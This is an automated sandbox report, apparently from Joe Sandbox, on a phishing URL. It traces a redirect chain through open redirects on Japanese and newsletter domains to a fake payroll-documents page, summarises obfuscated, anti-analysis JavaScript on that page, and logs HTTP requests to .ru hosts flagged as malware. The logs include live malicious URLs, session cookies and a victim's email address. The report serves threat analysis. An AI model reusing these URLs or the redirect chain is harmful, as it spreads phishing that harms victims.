Edit tour

Windows Analysis Report
https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGd

Overview

General Information

Sample URL:	https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sT
Analysis ID:	1615239
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Detected use of open redirect vulnerability

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

Stores files to the Windows start menu directory

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3968 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1912,i,18268454604980473983,10137969894201302426,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA#XBESTIE@GMAIL.COM" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://d8fc.ntonteral.ru/loray@sysdac8

Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://payrollfaxdocs-shared-employid6237262721.d... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. These behaviors are highly suspicious and indicate a malicious intent to prevent analysis and potentially compromise the user's system.
Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://payrollfaxdocs-shared-employid6237262721.d... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It appears to be a malicious script designed to redirect users to a suspicious domain and potentially collect sensitive information. The script also includes aggressive DOM manipulation and attempts to bypass security measures like disabling keyboard shortcuts and context menus. Overall, this script poses a significant risk and should be treated as highly suspicious.
Source: 0.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://payrollfaxdocs-shared-employid6237262721.d... This script exhibits several high-risk behaviors, including detecting browser automation tools, disabling common developer tools and keyboard shortcuts, and redirecting the user to an external website. The script appears to be attempting to prevent analysis and hide malicious activity, which is a strong indicator of malicious intent.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://payrollfaxdocs-shared-employid6237262721.d... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It appears to be a malicious script designed to redirect users to a suspicious domain and potentially collect sensitive information. The script also includes aggressive DOM manipulation and attempts to bypass security measures like disabling keyboard shortcuts and context menus. Overall, this script poses a significant risk and should be treated as highly suspicious.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://payrollfaxdocs-shared-employid6237262721.d... This script demonstrates high-risk behavior, including dynamic code execution via the `eval` function and potential data exfiltration. The use of obfuscated code and multiple fallback domains further increases the risk. This script should be considered highly suspicious and potentially malicious.
Source: 0.8.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://payrollfaxdocs-shared-employid6237262721.d... This script demonstrates high-risk behavior, including dynamic code execution through the use of the `eval` function and potential data exfiltration by sending data to external domains. The obfuscated nature of the code further increases the risk. This script should be considered highly suspicious and potentially malicious.

Detected use of open redirect vulnerability

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Proxy from: jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sds3ewpjudn7ftp69ic9xt9ocva73zyzut9rrlynjmz9zsxn9aunadwuta-c4dbkhvsdud7yhn57lrxcc-tit8stxcmhelzra8y2fhj9nhkhalveldldgzl22dvdgds4yaunpbz3jlwfpywvh4kxf_qmwhefwbwupvwj_dca9-pvp-ktopz2tcvvkdgdr5ebuxrp3nlllwhhbbziqb4i5fnt2gqudwwaxo4djd0uo8ppkz92x-rx7mtbgeu8yn8iuur8p-gt77qpankfdkwzimosxxmw_gwxi4v99poqbqqlypjvryjlgtwlmfgzwqbp69fgmyz_789wo7zpzwynqnuyvntqzwq1r7oel-vhdc3oc_gi9gdfn9dnovduzi7d8wenpznhei6bllrtzm-jvw/4ds/h90d6rggq2uwp8c3ti8u1w/h11/h001.hsj78obz0djee1ikqy2351foystvyg0ibjpurbvbjfa to https://link.mail.beehiiv.com/ss/c/u001.sds3ewpjudn7ftp69ic9xt9ocva73zyzut9rrlynjmz9zsxn9aunadwuta-c4dbkhvsdud7yhn57lrxcc-tit8stxcmhelzra8y2fhj9nhkhalveldldgzl22dvdgds4yaunpbz3jlwfpywvh4kxf_qmwhefwbwupvwj_dca9-pvp-ktopz2tcvvkdgdr5ebuxrp3nlllwhhbbziqb4i5fnt2gqudwwaxo4djd0uo8ppkz92x-rx7mtbgeu8yn8iuur8p-gt77qpankfdkwzimosxxmw_gwxi4v99poqbqqlypjvryjlgtwlmfgzwqbp69fgmyz_789wo7zpzwynqnuyvntqzwq1r7oel-vhdc3oc_gi9gdfn9dnovduzi7d8wenpznhei6bllrtzm-jvw/4ds/h90d6rggq2uwp8c3ti8u1w/h11/h001.hsj78obz0djee1ikqy2351foystvyg0ibjpurbvbjfa

Source: https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA#XBESTIE@GMAIL.COM

Sample URL: PII: XBESTIE@GMAIL.COM

Source: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/qZwIOJI7cJMcfTGYSTk/#XBESTIE@GMAIL.COM

HTTP Parser: No favicon

Source: global traffic

TCP traffic: 192.168.2.16:49714 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: jhnet.sakura.ne.jp to https://link.mail.beehiiv.com/ss/c/u001.sds3ewpjudn7ftp69ic9xt9ocva73zyzut9rrlynjmz9zsxn9aunadwuta-c4dbkhvsdud7yhn57lrxcc-tit8stxcmhelzra8y2fhj9nhkhalveldldgzl22dvdgds4yaunpbz3jlwfpywvh4kxf_qmwhefwbwupvwj_dca9-pvp-ktopz2tcvvkdgdr5ebuxrp3nlllwhhbbziqb4i5fnt2gqudwwaxo4djd0uo8ppkz92x-rx7mtbgeu8yn8iuur8p-gt77qpankfdkwzimosxxmw_gwxi4v99poqbqqlypjvryjlgtwlmfgzwqbp69fgmyz_789wo7zpzwynqnuyvntqzwq1r7oel-vhdc3oc_gi9gdfn9dnovduzi7d8wenpznhei6bllrtzm-jvw/4ds/h90d6rggq2uwp8c3ti8u1w/h11/h001.hsj78obz0djee1ikqy2351foystvyg0ibjpurbvbjfa
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: link.mail.beehiiv.com to https://www.fukui-tv.co.jp/_click.php?id=83642&url=https%3a%2f%2fpayrollfaxdocs-shared-employid6237262721.deliberate9.com%2fqzwioji7cjmcftgystk%2f&mode=link&utm_source=evas-newsletter-042f90.beehiiv.com&utm_medium=newsletter&utm_campaign=self-love&_bhlid=c369d7d1f059b06973116b83fbb5ca11132108a1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.fukui-tv.co.jp to https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/qzwioji7cjmcftgystk/

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.98.7
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.178
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.178
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.178
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.178
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA HTTP/1.1Host: jhnet.sakura.ne.jpConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA HTTP/1.1Host: link.mail.beehiiv.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_click.php?id=83642&url=https%3A%2F%2FPayrollfaxdocs-shared-employID6237262721.deliberate9.com%2FqZwIOJI7cJMcfTGYSTk%2F&mode=link&utm_source=evas-newsletter-042f90.beehiiv.com&utm_medium=newsletter&utm_campaign=self-love&_bhlid=c369d7d1f059b06973116b83fbb5ca11132108a1 HTTP/1.1Host: www.fukui-tv.co.jpConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qZwIOJI7cJMcfTGYSTk/ HTTP/1.1Host: payrollfaxdocs-shared-employid6237262721.deliberate9.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/324d0dcf743c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/324d0dcf743c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=50P1LbKbOWfcmxD5adzmgVPxjEoFNfBsQhqAfR2Rm4s-1739550183-1.0.1.1-cxQXzQS9RumXoz3gB9y6ljRMnGHL6vkuwjpeqVbTHdmLKidsgyZt4M9PFD9QFYJngSwADAixD_QPeglqnZfgtg
Source: global traffic	HTTP traffic detected: GET /loray@sysdac8 HTTP/1.1Host: d8fc.ntonteral.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://payrollfaxdocs-shared-employid6237262721.deliberate9.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /loray@sysdac8 HTTP/1.1Host: d8fc.ntonteral.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qZwIOJI7cJMcfTGYSTk/ HTTP/1.1Host: payrollfaxdocs-shared-employid6237262721.deliberate9.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjN5a1hIaEJXcUNXYkRIVVdVK1ZsWEE9PSIsInZhbHVlIjoiM01tWjJRc2RsNi9nQ0I5SnExZlo3a3BSYzhwNWtoWTJTblBJOUJUNm0rcFloaU93QW4zL3RFWHRaMEYycURXNUdidXUwalZmNStWWWFPMXlvOVh2cXVHRExhZ0Fac1htSUpQbE5HRklRckx6Nkx2WjJadFN0WFc2Y0hxR3IzU0MiLCJtYWMiOiI1OWY3OGFmN2JhOTBlYzI2YzljZmUzZTg3MGMzYTQwNjc5NjZlMDk2ZDk1NTliZWIwY2Y0YzM0ZjkyYWNiZDAxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im81R3dlazZBKzN0aVFYRkx5QXJZZnc9PSIsInZhbHVlIjoiV0FvbWxMWmV5enA2SjR6cWtEbzNtL1cyYmNDYWk5OEc0ZFRFSTNrTEJNVnFpSk1ZSWNaVXd2M2N5QkdwTEoyMG1kMFlLTEUzVlB1a3l6cjcxL09zUm4wR3IzSEtQQlpkcDRMb0oyZnpseW1MMWY1Yk0vdjVOY0xIclgrZnlNNnMiLCJtYWMiOiJkYzljMjk2YmY5NzQ4OTg1N2Y3MjI0Njk5ZjEwM2IzM2JiZDBmNzhjMmU4OTczZGU4MzE4MWQ1YmMxYjEzYzE2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rand$lyz8b1 HTTP/1.1Host: d7fa.revishbos.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://payrollfaxdocs-shared-employid6237262721.deliberate9.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
